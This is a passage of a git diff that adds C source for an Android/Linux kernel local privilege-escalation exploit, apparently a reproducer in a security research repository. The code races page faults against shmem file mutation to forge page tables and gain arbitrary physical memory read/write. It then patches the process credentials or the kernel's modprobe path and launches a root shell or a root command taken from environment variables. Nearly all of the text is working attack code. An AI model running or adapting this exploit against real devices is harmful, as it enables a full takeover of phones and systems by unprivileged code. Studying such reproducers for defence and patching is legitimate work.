PAGE_SIZE)) != 0) { + perror("prepare race file"); + return 3; + } + if (RACE_MUTATION_MODE == 3) { + whole = prepare_order0_shmem_folio(fd, + &whole_reservation); + if (whole == MAP_FAILED) { + perror("prepare order-0 race folio"); + return 3; + } + } else if (prepare_large_shmem_folio(fd) != 0) { + perror("prepare race folio"); + return 3; + } + for (unsigned int view = 0; view < RACE_SOURCE_VIEWS; view++) { + sources[view] = mmap( + (void *)(race_source_base + view * SOURCE_SIZE), + SOURCE_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC, + MAP_SHARED | MAP_FIXED, fd, + (RACE_FILE_BASE_PGOFF + SOURCE_PGOFF + + view * SOURCE_SIZE / PAGE_SIZE) * PAGE_SIZE); + if (sources[view] == MAP_FAILED) { + perror("map source race view"); + return 2; + } + } + source = sources[0]; + alias = mmap(NULL, FAKE_ALIAS_SIZE, PROT_READ | PROT_WRITE, + MAP_SHARED, fd, + (off_t)((RACE_FILE_BASE_PGOFF + 64UL) * + PAGE_SIZE)); + if (alias == MAP_FAILED) { + perror("map fake-PTE alias"); + return 2; + } + /* + * Populate every candidate page-table page. Vendor kernels can + * expose a different backward XArray span, so fixed probe slots + * would miss an otherwise usable page-table installation. + */ + fill_fake_ptes(alias, PHYS_BASE_PFN, 1); + + for (unsigned int view = 0; view < RACE_SOURCE_VIEWS; view++) + atomic_store_explicit(&fault_addrs[view], sources[view], + memory_order_release); + atomic_store_explicit(&fault_started, 0, + memory_order_release); + if (STARTUP_WAIT_ALL_WORKERS) + atomic_store_explicit(&fault_release, 0, + memory_order_release); + atomic_store_explicit(&run_state, 1, memory_order_release); + if (STARTUP_WAIT_ACTIVE) { + if (STARTUP_WAIT_ALL_WORKERS) { + while (atomic_load_explicit( + &active_workers, + memory_order_acquire) != + FAULT_THREADS) + sched_yield(); + atomic_store_explicit(&fault_release, 1, + memory_order_release); + } + while (atomic_load_explicit(&fault_started, + memory_order_acquire) != + FAULT_THREADS) + sched_yield(); + } + for (delay = 0; + delay < ((unsigned int)i % DELAY_PERIOD) * DELAY_STEP; + delay++) + __asm__ __volatile__("" ::: "memory"); +#if RACE_MEMBARRIER_SHOTS > 0 + for (unsigned int shot = 0; + shot < RACE_MEMBARRIER_SHOTS; shot++) + (void)syscall(SYS_membarrier, + MEMBARRIER_CMD_PRIVATE_EXPEDITED, 0, 0); +#endif + if (RACE_MUTATION_MODE == 2) { + const unsigned long minimum_local_pages = + SOURCE_PGOFF + SOURCE_SIZE / PAGE_SIZE; + const unsigned long new_pages = + RACE_FILE_BASE_PGOFF + minimum_local_pages + + (unsigned long)i % + (512UL - minimum_local_pages); + + if (ftruncate(fd, (off_t)(new_pages * PAGE_SIZE)) != 0 || + ftruncate(fd, + (off_t)((RACE_FILE_BASE_PGOFF + 512UL) * + PAGE_SIZE)) != 0) { + mutation_ready = 0; + mutation_failures++; + } + } else if (RACE_MUTATION_MODE == 3) { + mutation_ready = 0; + for (unsigned int attempt = 0; + attempt < RACE_COLLAPSE_ATTEMPTS; attempt++) { + if (madvise(whole, PMD_SIZE, MADV_COLLAPSE) == 0) { + mutation_ready = 1; + break; + } + if (errno != EAGAIN && errno != EBUSY) + break; + collapse_retry_pause(); + } + if (!mutation_ready) + mutation_failures++; + } + if (mutation_ready && RACE_MUTATION_MODE != 2) + (void)fallocate(fd, + FALLOC_FL_PUNCH_HOLE | + FALLOC_FL_KEEP_SIZE, + (off_t)(RACE_FILE_BASE_PGOFF * PAGE_SIZE), + PAGE_SIZE); + atomic_store_explicit(&run_state, 0, memory_order_release); + while (atomic_load_explicit(&active_workers, memory_order_acquire) != 0) + sched_yield(); + if (mprotect(tlb_flush_pad, TLB_FLUSH_PAGES * PAGE_SIZE, + (i & 1) != 0 ? + PROT_READ | PROT_WRITE : PROT_READ) != 0) { + perror("tlb flush mprotect"); + return 2; + } + if (whole_reservation != MAP_FAILED) + munmap(whole_reservation, 2 * PMD_SIZE); + + for (unsigned int target_candidate = candidate; + target_candidate < LAYOUT_CANDIDATES && + target_candidate < candidate + 2 && !success; + target_candidate++) { + const uintptr_t target_root = + candidate_roots[target_candidate]; + const unsigned long target_source_first_pmd = + (source_bases[target_candidate] - target_root) / + PMD_SIZE; + const unsigned long target_source_pmds = + (RACE_SOURCE_VIEWS * SOURCE_SIZE + + PMD_SIZE - 1) / PMD_SIZE; + unsigned long first_present = PUD_PMD_SLOTS; + unsigned long last_present = 0; + unsigned long present_pmds = 0; + unsigned long best_first = PUD_PMD_SLOTS; + unsigned long best_len = 0; + unsigned long run_first = 0; + unsigned long run_len = 0; + + for (unsigned long pmd = 0; pmd < PUD_PMD_SLOTS; + pmd++) { + unsigned char probe = 0; + + if (pmd >= target_source_first_pmd && + pmd < target_source_first_pmd + + target_source_pmds) { + run_len = 0; + continue; + } + if (safe_read( + (const volatile unsigned char *) + (target_root + pmd * PMD_SIZE), + &probe) != 0) { + run_len = 0; + continue; + } + if (first_present == PUD_PMD_SLOTS) + first_present = pmd; + last_present = pmd; + present_pmds++; + if (run_len == 0) + run_first = pmd; + run_len++; + if (run_len > best_len) { + best_first = run_first; + best_len = run_len; + } + } + if (present_pmds == 0) + continue; + if (best_len > FAKE_PT_PAGES) + best_len = FAKE_PT_PAGES; + success = 1; + winning_fd = fd; + winning_alias = alias; + winning_source = source; + winning_fake_base = + target_root + best_first * PMD_SIZE; + winning_pmds = best_len; + printf("PAGE_TABLE_PRIMITIVE round=%d race_candidate=%u target_candidate=%u present_pmds=%lu first_layout_pmd=%lu last_layout_pmd=%lu selected_first_pmd=%lu mapped_pmds=%lu scanned_pmds=%lu\n", + i, candidate, target_candidate, present_pmds, + first_present, last_present, best_first, + winning_pmds, PUD_PMD_SLOTS); + fflush(stdout); + } + if (success) + break; + for (unsigned int view = 0; view < RACE_SOURCE_VIEWS; view++) + munmap(sources[view], SOURCE_SIZE); + munmap(alias, FAKE_ALIAS_SIZE); + (void)ftruncate(fd, 0); + close(fd); + if ((i % RACE_PROGRESS_INTERVAL) == 0) { + printf("RACE_PROGRESS round=%d active=%d mutation_failures=%lu\n", + i, atomic_load(&active_workers), mutation_failures); + fflush(stdout); + } + } + + atomic_store_explicit(&run_state, 2, memory_order_release); + for (i = 0; i < FAULT_THREADS; i++) + pthread_join(threads[i], NULL); + for (i = 0; i < RACE_MEMBARRIER_WORKERS; i++) + pthread_join(membarrier_threads[i], NULL); + printf("MEMBARRIER_CALLS count=%lu\n", + atomic_load_explicit(&membarrier_calls, memory_order_relaxed)); + if (!success) { + printf("PRIMITIVE_NOT_OBSERVED rounds=%d\n", rounds); + return 4; + } + if (preserve_corrupted_mm() < 0) { + perror("preserve corrupted mm"); + printf("MM_HOLDER_FAILED action=process_retained\n"); + fflush(stdout); + for (;;) + pause(); + } + + /* + * Search every physical window for the marker. Android guests with + * several GiB of RAM do not reliably place the spray below the first + * fake-PTE span. Changing protection on the corrupted mapping forces + * a range TLB invalidation after each PTE rewrite. + */ + mapped_bytes = winning_pmds * PMD_SIZE; + { + const unsigned long entries = mapped_bytes / PAGE_SIZE; + unsigned long marker_matches = 0; + unsigned long stale_matches = 0; + unsigned long sampled_pages = 0; + unsigned long found_i = (unsigned long)-1; + unsigned long found_pfn = 0; + unsigned long found_page = 0; + unsigned int window_index = 0; + int marker_verified = 0; + + printf("SAFE_FAKE_SPAN base=%#lx pmds=%lu bytes=%lu physical_pages=%lu scan_limit_mib=%lu\n", + (unsigned long)winning_fake_base, winning_pmds, + mapped_bytes, entries, PHYS_SCAN_LIMIT_MIB); + fflush(stdout); + + for (unsigned int range_index = 0; + range_index < PHYSICAL_RANGE_COUNT && !marker_verified; + range_index++) { + const struct physical_range *range = + &physical_ranges[range_index]; + + printf("RAM_RANGE index=%u first_pfn=%#lx end_pfn=%#lx pages=%lu source=exact_emulator_firmware_memmap\n", + range_index, range->first_pfn, range->end_pfn, + range->end_pfn - range->first_pfn); + fflush(stdout); + for (unsigned long base_pfn = range->first_pfn; + base_pfn < range->end_pfn && !marker_verified; + base_pfn += entries) { + unsigned long scan_pages = + range->end_pfn - base_pfn; + unsigned char byte = 0; + + if (scan_pages > entries) + scan_pages = entries; + + if (remap_physical_window(winning_alias, + winning_fake_base, + mapped_bytes, + base_pfn) != 0) { + perror("remap marker physical window"); + return 6; + } + printf("MARKER_WINDOW_REMAP range=%u index=%u base_pfn=%#lx mapped_bytes=%lu scanned_bytes=%lu\n", + range_index, window_index++, base_pfn, + mapped_bytes, scan_pages * PAGE_SIZE); + fflush(stdout); + for (unsigned long n = 0; n < scan_pages; n++) { + volatile unsigned char *phys = + (volatile unsigned char *) + winning_fake_base + n * PAGE_SIZE; + unsigned long candidate_page; + unsigned char *orig; + unsigned char phys_before; + unsigned char expected; + + sampled_pages++; + if (safe_read(phys, &byte) != 0 || + memcmp((const void *)phys, MARKER_MAGIC, + sizeof(MARKER_MAGIC)) != 0) + continue; + memcpy(&candidate_page, + (const void *)(phys + 32), + sizeof(candidate_page)); + if (candidate_page >= MARKER_PAGES) + continue; + marker_matches++; + orig = (unsigned char *)marker + + candidate_page * PAGE_SIZE; + if (safe_read(phys + 128, &phys_before) != 0 || + phys_before != orig[128]) { + stale_matches++; + continue; + } + expected = (unsigned char)(phys_before ^ 0xa5); + if (safe_write(phys + 128, expected) != 0 || + orig[128] != expected) { + (void)safe_write(phys + 128, phys_before); + stale_matches++; + continue; + } + found_i = n; + found_pfn = base_pfn + n; + found_page = candidate_page; + marker_verified = 1; + printf("ARBITRARY_PHYSICAL_RW sample_index=%lu pfn=%#lx marker_page=%lu alias_before=%u alias_after=%u write_ok=1 marker_matches=%lu stale_matches=%lu\n", + found_i, found_pfn, found_page, + phys_before, orig[128], marker_matches, + stale_matches); + fflush(stdout); + break; + } + } + } + if (!marker_verified) { + printf("ARBITRARY_PHYSICAL_RW_NOT_VERIFIED sampled_pages=%lu marker_matches=%lu stale_matches=%lu scan_limit_mib=%lu\n", + sampled_pages, marker_matches, stale_matches, + PHYS_SCAN_LIMIT_MIB); + return 6; + } + } + { + const unsigned long window_pages = mapped_bytes / PAGE_SIZE; + int credentials_patched = 0; + int root_helper_executed = 0; + int modprobe_available = + getenv("XARR_DISABLE_MODPROBE") == NULL && + prepare_modprobe_helper() == 0; + + for (unsigned int range_index = 0; + range_index < PHYSICAL_RANGE_COUNT && + !credentials_patched && !root_helper_executed; + range_index++) { + const struct physical_range *range = + &physical_ranges[range_index]; + + for (unsigned long base_pfn = range->first_pfn; + base_pfn < range->end_pfn && + !credentials_patched && !root_helper_executed; + base_pfn += window_pages) { + unsigned long scan_pages = + range->end_pfn - base_pfn; + unsigned long scan_bytes; + + if (scan_pages > window_pages) + scan_pages = window_pages; + scan_bytes = scan_pages * PAGE_SIZE; + if (remap_physical_window(winning_alias, + winning_fake_base, + mapped_bytes, + base_pfn) != 0) { + perror("remap physical window"); + cleanup_modprobe_helper(); + return 7; + } + printf("PHYS_WINDOW_REMAP range=%u base_pfn=%#lx mapped_bytes=%lu scanned_bytes=%lu\n", + range_index, base_pfn, mapped_bytes, scan_bytes); + fflush(stdout); + if (patch_current_credentials(winning_fake_base, + scan_bytes, + base_pfn) == 0) { + credentials_patched = 1; + break; + } + if (modprobe_available && + patch_modprobe_path(winning_fake_base, + scan_bytes, base_pfn) == 0) { + root_helper_executed = 1; + break; + } + } + } + cleanup_modprobe_helper(); + if (root_helper_executed) { + printf("KERNEL_PRIVILEGE_ESCALATION_CONFIRMED from_uid=%u root_execution=modprobe_helper\n", + target_euid); + fflush(stdout); + return 0; + } + if (!credentials_patched) { + printf("CREDENTIAL_PATCH_FAILED\n"); + return 7; + } + } + if (prove_root_identity() != 0) { + printf("ROOT_PROOF_FAILED\n"); + return 8; + } + if (prove_post_root_create() != 0) { + printf("POST_ROOT_CREATE_FAILED\n"); + return 9; + } + printf("KERNEL_PRIVILEGE_ESCALATION_CONFIRMED from_uid=%u to_uid=%u\n", + target_euid, geteuid()); + fflush(stdout); + if (launch_root_payload() != 0) + return 10; + return 0; + + (void)winning_source; + (void)winning_fd; + printf("EXPLOIT_STAGE_DONE primitive=controlled_fake_page_tables uid=%u euid=%u\n", + getuid(), geteuid()); + fflush(stdout); + return 0; +} + +int main(int argc, char **argv) +{ + struct utsname uts; + int rounds = DEFAULT_ROUNDS; + const char *env_rounds = getenv("XARR_ROUNDS"); + if (snprintf(post_root_path, sizeof(post_root_path), "%s-%ld", + POST_ROOT_PATH_PREFIX, (long)getpid()) >= + (int)sizeof(post_root_path)) + return 2; + + if (geteuid() == 0 && argc > 1 && strcmp(argv[1], "-q") == 0) { + if (snprintf(modprobe_marker_path, + sizeof(modprobe_marker_path), "%s.marker", + argv[0]) >= (int)sizeof(modprobe_marker_path)) + return 2; + if (prove_root_identity() != 0 || + prove_post_root_create() != 0 || + create_root_marker() != 0) + return 1; + printf("ROOT_HELPER_EXECUTION_CONFIRMED uid=%u euid=%u gid=%u egid=%u\n", + getuid(), geteuid(), getgid(), getegid()); + fflush(stdout); + return 0; + } + + if (env_rounds) + rounds = atoi(env_rounds); + if (argc > 1) + rounds = atoi(argv[1]); + if (rounds <= 0) + rounds = DEFAULT_ROUNDS; + if (uname(&uts) == 0) + printf("KERNEL_RELEASE %s\n", uts.release); + printf("EXPLOIT_CONFIG rounds=%d source_exec=1 file_base_pgoff=%lu delay_period=%u delay_step=%u startup_wait=%s fault_order=pwrite_then_dontneed fault_access=read fault_loops=%u soft_dirty_clear=0 tlb_flush_pages=%lu worker_threads=%u source_views=%u membarrier_shots=%u membarrier_workers=%u timer_ns=%lu timers_per_worker=%u mutation_mode=%u collapse_attempts=%u collapse_retry_ns=%lu progress_interval=%u worker_cpus=%s main_cpu=%s layout_candidates=%u rotate_layout=%u layout_scan_pmds=%lu phys_scan_limit_mib=%lu cred_layout=android-6.1-btf\n", + rounds, RACE_FILE_BASE_PGOFF, DELAY_PERIOD, DELAY_STEP, + STARTUP_WAIT_ALL_WORKERS ? "all_workers_and_active_caller" : + (STARTUP_WAIT_ACTIVE ? "active_caller" : "none"), + (unsigned int)RACE_FAULT_LOOPS, TLB_FLUSH_PAGES, + FAULT_THREADS, RACE_SOURCE_VIEWS, + RACE_MEMBARRIER_SHOTS, + RACE_MEMBARRIER_WORKERS, RACE_TIMER_NS, + RACE_TIMERS_PER_WORKER, RACE_MUTATION_MODE, + (unsigned int)RACE_COLLAPSE_ATTEMPTS, + RACE_COLLAPSE_RETRY_NS, + (unsigned int)RACE_PROGRESS_INTERVAL, + RACE_PIN_WORKERS ? "pinned" : "unbound", + RACE_PIN_WORKERS ? "0" : "unbound", + (unsigned int)LAYOUT_CANDIDATES, + (unsigned int)RACE_ROTATE_LAYOUT, PUD_PMD_SLOTS, + PHYS_SCAN_LIMIT_MIB); + fflush(stdout); + return run_exploit(rounds); +} diff --git a/dirty-crow-xarray-lpe/framework/reproducer/android-api34/filemap_xarray_android_v21.c b/dirty-crow-xarray-lpe/framework/reproducer/android-api34/filemap_xarray_android_v21.c new file mode 100644 index 0000000..9f8f9d5 --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/reproducer/android-api34/filemap_xarray_android_v21.c @@ -0,0 +1,1755 @@ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#ifndef MADV_COLLAPSE +#define MADV_COLLAPSE 25 +#endif +#ifndef MAP_FIXED_NOREPLACE +#define MAP_FIXED_NOREPLACE 0x100000 +#endif + +#define PAGE_SIZE 4096UL +#define PMD_SIZE (2UL * 1024 * 1024) +#define PUD_SIZE (1024UL * 1024 * 1024) +#define SOURCE_ENTRY 2UL +#define SOURCE_SIZE (16UL * PAGE_SIZE) +#define SOURCE_PGOFF 256UL +#ifndef RACE_FILE_BASE_PGOFF +#define RACE_FILE_BASE_PGOFF 0UL +#endif +#if (RACE_FILE_BASE_PGOFF & 511UL) != 0 +#error RACE_FILE_BASE_PGOFF must be 512-page aligned +#endif +#define CORRUPT_FIRST_PMD 320UL +#define FAKE_PT_PAGES 192UL +#define SAFE_FAKE_PT_PAGES 64UL +#define HIGH_FAKE_PMD_OFFSET 64UL +#define HIGH_FAKE_PT_PAGES 128UL +#define PHYS_BASE_PFN 0x100UL +#ifndef PHYS_SCAN_LIMIT_MIB +#define PHYS_SCAN_LIMIT_MIB 5120UL +#endif +#define PHYS_SCAN_LIMIT_PFN \ + ((PHYS_SCAN_LIMIT_MIB * 1024UL * 1024UL) / PAGE_SIZE) +#define FAKE_WINDOW_SIZE (FAKE_PT_PAGES * PMD_SIZE) +#define FAKE_ALIAS_SIZE (FAKE_PT_PAGES * PAGE_SIZE) +#ifndef LAYOUT_CANDIDATES +#define LAYOUT_CANDIDATES 2U +#endif +#if LAYOUT_CANDIDATES < 2 || LAYOUT_CANDIDATES > 64 +#error LAYOUT_CANDIDATES must be between 2 and 64 +#endif +#define LAYOUT_PMD_SLOTS \ + ((LAYOUT_CANDIDATES * PUD_SIZE) / PMD_SIZE) +#define PUD_PMD_SLOTS (PUD_SIZE / PMD_SIZE) +#define DEFAULT_ROUNDS 20000 +#ifndef FAULT_THREADS +#define FAULT_THREADS 8 +#endif +#ifndef RACE_SOURCE_VIEWS +#define RACE_SOURCE_VIEWS 8 +#endif +#if RACE_SOURCE_VIEWS < 1 || RACE_SOURCE_VIEWS > 16 +#error RACE_SOURCE_VIEWS must be between 1 and 16 +#endif +#ifndef RACE_ROTATE_LAYOUT +#define RACE_ROTATE_LAYOUT 0 +#endif +#ifndef RACE_LAYOUT_CANDIDATE +#define RACE_LAYOUT_CANDIDATE 0 +#endif +#if RACE_LAYOUT_CANDIDATE >= LAYOUT_CANDIDATES +#error RACE_LAYOUT_CANDIDATE exceeds the candidate layout +#endif +#define MARKER_PAGES 32768UL +#define TLB_FLUSH_PAGES 128UL +#ifndef DELAY_PERIOD +#define DELAY_PERIOD 100U +#endif +#ifndef DELAY_STEP +#define DELAY_STEP 10U +#endif +#ifndef STARTUP_WAIT_ACTIVE +#define STARTUP_WAIT_ACTIVE 1 +#endif +#ifndef STARTUP_WAIT_ALL_WORKERS +#define STARTUP_WAIT_ALL_WORKERS 1 +#endif +#ifndef RACE_FAULT_LOOPS +#define RACE_FAULT_LOOPS 64U +#endif +#if RACE_FAULT_LOOPS < 1 +#error RACE_FAULT_LOOPS must be positive +#endif +#ifndef RACE_FAULT_BYTES +#define RACE_FAULT_BYTES PAGE_SIZE +#endif +#if RACE_FAULT_BYTES < 1 || RACE_FAULT_BYTES > SOURCE_SIZE +#error RACE_FAULT_BYTES must be between one byte and SOURCE_SIZE +#endif + +#ifndef RACE_MEMBARRIER_SHOTS +#define RACE_MEMBARRIER_SHOTS 0 +#endif +#ifndef RACE_TIMER_NS +#define RACE_TIMER_NS 100000UL +#endif +#ifndef RACE_TIMERS_PER_WORKER +#define RACE_TIMERS_PER_WORKER 8 +#endif +#ifndef RACE_PIN_WORKERS +#define RACE_PIN_WORKERS 0 +#endif +#ifndef RACE_MEMBARRIER_WORKERS +#define RACE_MEMBARRIER_WORKERS 0 +#endif +#ifndef RACE_MUTATION_MODE +#define RACE_MUTATION_MODE 0 +#endif +#ifndef RACE_COLLAPSE_ATTEMPTS +#define RACE_COLLAPSE_ATTEMPTS 1 +#endif +#ifndef RACE_COLLAPSE_RETRY_NS +#define RACE_COLLAPSE_RETRY_NS 1000000UL +#endif +#ifndef RACE_PROGRESS_INTERVAL +#define RACE_PROGRESS_INTERVAL 100U +#endif +#if RACE_PROGRESS_INTERVAL < 1 +#error RACE_PROGRESS_INTERVAL must be positive +#endif +#define MARKER_MAGIC "XARR-PHYS-MARK!" +#define ROOT_PROOF_PATH \ + "/data/data/dev.dirtycrow.probe/files/filemap-xarray-root-proof" +#define ROOT_PROOF_TEXT "filemap-xarray-root-proof" +#define POST_ROOT_PATH_PREFIX \ + "/data/data/dev.dirtycrow.probe/files/filemap-xarray-post-root" +#define POST_ROOT_TEXT "filemap-xarray-post-root" +#define MODPROBE_TRIGGER_PATH \ + "/data/data/dev.dirtycrow.probe/files/filemap-xarray-binfmt-trigger" +#define MODPROBE_PATH_ORIGINAL "/sbin/modprobe" +#define CAP_VALID_MASK_7_1 0x000001ffffffffffULL +#define ROOT_REQUIRED_CAPS ((1ULL << CAP_CHOWN) | \ + (1ULL << CAP_DAC_OVERRIDE) | \ + (1ULL << CAP_SETGID) | (1ULL << CAP_SETUID)) + +#define PTE_PRESENT (1ULL << 0) +#define PTE_RW (1ULL << 1) +#define PTE_USER (1ULL << 2) +#define PTE_ACCESSED (1ULL << 5) +#define PTE_DIRTY (1ULL << 6) +#define PTE_NX (1ULL << 63) +#define USER_PTE_FLAGS (PTE_NX | PTE_DIRTY | PTE_ACCESSED | PTE_USER | PTE_RW | PTE_PRESENT) + +struct physical_range { + unsigned long first_pfn; + unsigned long end_pfn; +}; + +static const struct physical_range physical_ranges[] = { + { 0x100UL, 0xbffd6UL }, + { 0x100000UL, 0x140000UL }, +}; + +#define PHYSICAL_RANGE_COUNT \ + (sizeof(physical_ranges) / sizeof(physical_ranges[0])) + +static atomic_int run_state; +static atomic_int active_workers; +static uid_t target_ruid, target_euid, target_suid, target_fsuid; +static gid_t target_rgid, target_egid, target_sgid, target_fsgid; +static int root_proof_required; +static char post_root_path[128]; +static char modprobe_helper_path[sizeof(MODPROBE_PATH_ORIGINAL)]; +static char modprobe_marker_path[64]; +static atomic_int fault_callers; +static atomic_int fault_started; +static atomic_int fault_done; +static atomic_int fault_release; +static atomic_ulong membarrier_calls; +static _Atomic(char *) fault_addrs[RACE_SOURCE_VIEWS]; +static int sink_fd = -1; +static sigjmp_buf fault_jmp; +static volatile sig_atomic_t fault_guard; + + + +static void fault_signal(int sig) +{ + if (fault_guard) + siglongjmp(fault_jmp, sig); + _exit(128 + sig); +} + +static int safe_read(const volatile unsigned char *p, unsigned char *out) +{ + int sig = sigsetjmp(fault_jmp, 1); + if (sig != 0) { + fault_guard = 0; + return -sig; + } + fault_guard = 1; + *out = *p; + fault_guard = 0; + return 0; +} + +static int safe_write(volatile unsigned char *p, unsigned char value) +{ + int sig = sigsetjmp(fault_jmp, 1); + + if (sig != 0) { + fault_guard = 0; + return -sig; + } + fault_guard = 1; + *p = value; + fault_guard = 0; + return 0; +} +static int mm_holder_main(void *unused) +{ + uint64_t blocked = ~0ULL; + + (void)unused; + (void)syscall(SYS_prctl, PR_SET_NAME, "xarr-mm-holder", 0, 0, 0); + (void)syscall(SYS_rt_sigprocmask, SIG_SETMASK, &blocked, NULL, + sizeof(blocked)); + for (;;) + (void)syscall(SYS_pause); + return 0; +} + +static pid_t preserve_corrupted_mm(void) +{ + const size_t stack_size = 1024UL * 1024UL; + unsigned char *stack; + pid_t pid; + + stack = mmap(NULL, stack_size, PROT_READ | PROT_WRITE, + MAP_PRIVATE | MAP_ANONYMOUS | MAP_STACK, -1, 0); + if (stack == MAP_FAILED) + return -1; + (void)madvise(stack, stack_size, MADV_DONTDUMP); + fflush(NULL); + pid = clone(mm_holder_main, stack + stack_size, CLONE_VM | SIGCHLD, + NULL); + if (pid < 0) { + munmap(stack, stack_size); + return -1; + } + printf("MM_HOLDER pid=%ld state=retaining_corrupted_mm cleanup=reboot_only\n", + (long)pid); + fflush(stdout); + return pid; +} + +static int launch_root_payload(void) +{ + const char *command = getenv("XARR_ROOT_COMMAND"); + const char *shell = getenv("XARR_ROOT_SHELL"); + + if (command != NULL && command[0] != '\0') { + printf("ROOT_PAYLOAD mode=command shell=/bin/sh\n"); + fflush(stdout); + execl("/bin/sh", "sh", "-p", "-c", command, NULL); + perror("exec root command"); + return -1; + } + if (shell != NULL && strcmp(shell, "0") != 0) { + printf("ROOT_PAYLOAD mode=interactive shell=/bin/sh\n"); + fflush(stdout); + execl("/bin/sh", "sh", "-p", NULL); + perror("exec root shell"); + return -1; + } + return 0; +} + +static void *fault_worker(void *arg) +{ + const unsigned int worker = (unsigned int)(uintptr_t)arg; + timer_t race_timers[RACE_TIMERS_PER_WORKER > 0 ? + RACE_TIMERS_PER_WORKER : 1] = { 0 }; + + if (RACE_PIN_WORKERS) { + cpu_set_t set; + long cpus = sysconf(_SC_NPROCESSORS_ONLN); + unsigned int fault_cpus = + cpus > 2 && RACE_MEMBARRIER_WORKERS > 0 ? + (unsigned int)(cpus - 2) : + (cpus > 1 ? (unsigned int)(cpus - 1) : 1U); + unsigned int cpu = cpus > 1 ? + 1U + worker % fault_cpus : 0U; + + CPU_ZERO(&set); + CPU_SET(cpu, &set); + if (sched_setaffinity(0, sizeof(set), &set) != 0) + _exit(2); + } + if (RACE_TIMER_NS > 0) { + struct sigevent event; + struct itimerspec interval; + struct timespec start; + sigset_t blocked; + int signo = SIGRTMIN + 3; + + sigemptyset(&blocked); + sigaddset(&blocked, signo); + if (pthread_sigmask(SIG_BLOCK, &blocked, NULL) != 0) + _exit(2); + memset(&event, 0, sizeof(event)); + event.sigev_notify = SIGEV_THREAD_ID; + event.sigev_signo = signo; + event._sigev_un._tid = (pid_t)syscall(SYS_gettid); + for (unsigned int timer = 0; + timer < RACE_TIMERS_PER_WORKER; timer++) { + if (timer_create(CLOCK_MONOTONIC, &event, + &race_timers[timer]) != 0) + _exit(2); + } + if (clock_gettime(CLOCK_MONOTONIC, &start) != 0) + _exit(2); + start.tv_nsec += 1000000L; + if (start.tv_nsec >= 1000000000L) { + start.tv_sec++; + start.tv_nsec -= 1000000000L; + } + memset(&interval, 0, sizeof(interval)); + interval.it_value = start; + interval.it_interval.tv_sec = RACE_TIMER_NS / 1000000000UL; + interval.it_interval.tv_nsec = RACE_TIMER_NS % 1000000000UL; + for (unsigned int timer = 0; + timer < RACE_TIMERS_PER_WORKER; timer++) { + if (timer_settime(race_timers[timer], TIMER_ABSTIME, + &interval, NULL) != 0) + _exit(2); + } + } + for (;;) { + char *p; + unsigned int fault_loops = 0; + int state; + + do { + state = atomic_load_explicit(&run_state, memory_order_acquire); + if (state == 0) + sched_yield(); + } while (state == 0); + if (state == 2) + break; + + atomic_fetch_add_explicit(&active_workers, 1, memory_order_acq_rel); + if (atomic_load_explicit(&run_state, memory_order_acquire) != 1) { + atomic_fetch_sub_explicit(&active_workers, 1, memory_order_acq_rel); + continue; + } + p = atomic_load_explicit(&fault_addrs[worker % RACE_SOURCE_VIEWS], + memory_order_acquire); + if (STARTUP_WAIT_ALL_WORKERS) { + while (atomic_load_explicit(&run_state, + memory_order_acquire) == 1 && + atomic_load_explicit(&fault_release, + memory_order_acquire) == 0) + sched_yield(); + if (atomic_load_explicit(&run_state, + memory_order_acquire) != 1) { + atomic_fetch_sub_explicit(&active_workers, 1, + memory_order_acq_rel); + continue; + } + } + atomic_fetch_add_explicit(&fault_started, 1, + memory_order_acq_rel); + while (atomic_load_explicit(&run_state, memory_order_relaxed) == 1 && + fault_loops < RACE_FAULT_LOOPS) { + ssize_t n; + + atomic_fetch_add_explicit(&fault_callers, 1, memory_order_acq_rel); + n = pwrite(sink_fd, p, RACE_FAULT_BYTES, 0); + atomic_fetch_sub_explicit(&fault_callers, 1, memory_order_acq_rel); + (void)madvise(p, SOURCE_SIZE, MADV_DONTNEED); + (void)n; + fault_loops++; + } + atomic_fetch_add_explicit(&fault_done, 1, memory_order_acq_rel); + while (atomic_load_explicit(&run_state, + memory_order_acquire) == 1) + sched_yield(); + atomic_fetch_sub_explicit(&active_workers, 1, memory_order_acq_rel); + } + if (RACE_TIMER_NS > 0) { + for (unsigned int timer = 0; + timer < RACE_TIMERS_PER_WORKER; timer++) + (void)timer_delete(race_timers[timer]); + } + return NULL; +} + +static void *membarrier_worker(void *arg) +{ + (void)arg; + if (RACE_PIN_WORKERS) { + cpu_set_t set; + long cpus = sysconf(_SC_NPROCESSORS_ONLN); + unsigned int cpu = cpus > 1 ? (unsigned int)(cpus - 1) : 0U; + + CPU_ZERO(&set); + CPU_SET(cpu, &set); + if (sched_setaffinity(0, sizeof(set), &set) != 0) + _exit(2); + } + for (;;) { + int state = atomic_load_explicit(&run_state, memory_order_acquire); + + if (state == 2) + break; + if (state != 1) { + sched_yield(); + continue; + } + (void)syscall(SYS_membarrier, + MEMBARRIER_CMD_PRIVATE_EXPEDITED, 0, 0); + atomic_fetch_add_explicit(&membarrier_calls, 1, + memory_order_relaxed); + } + return NULL; +} + +static void collapse_retry_pause(void) +{ + struct timespec delay = { + .tv_sec = RACE_COLLAPSE_RETRY_NS / 1000000000UL, + .tv_nsec = RACE_COLLAPSE_RETRY_NS % 1000000000UL, + }; + + while (nanosleep(&delay, &delay) != 0 && errno == EINTR) + ; +} + +static int prepare_large_shmem_folio(int fd) +{ + void *reservation; + uintptr_t aligned; + unsigned char *mapping; + unsigned long i; + int rc; + + reservation = mmap(NULL, 2 * PMD_SIZE, PROT_NONE, + MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); + if (reservation == MAP_FAILED) + return -1; + aligned = ((uintptr_t)reservation + PMD_SIZE - 1) & ~(PMD_SIZE - 1); + mapping = mmap((void *)aligned, PMD_SIZE, PROT_READ | PROT_WRITE, + MAP_SHARED | MAP_FIXED, fd, + (off_t)(RACE_FILE_BASE_PGOFF * PAGE_SIZE)); + if (mapping == MAP_FAILED) { + munmap(reservation, 2 * PMD_SIZE); + return -1; + } + for (i = 0; i < PMD_SIZE; i += PAGE_SIZE) + mapping[i] = (unsigned char)(i / PAGE_SIZE); + rc = -1; + for (unsigned int attempt = 0; + attempt < RACE_COLLAPSE_ATTEMPTS; attempt++) { + errno = 0; + rc = madvise(mapping, PMD_SIZE, MADV_COLLAPSE); + if (rc == 0 || (errno != EAGAIN && errno != EBUSY)) + break; + collapse_retry_pause(); + } + if (rc != 0) + fprintf(stderr, 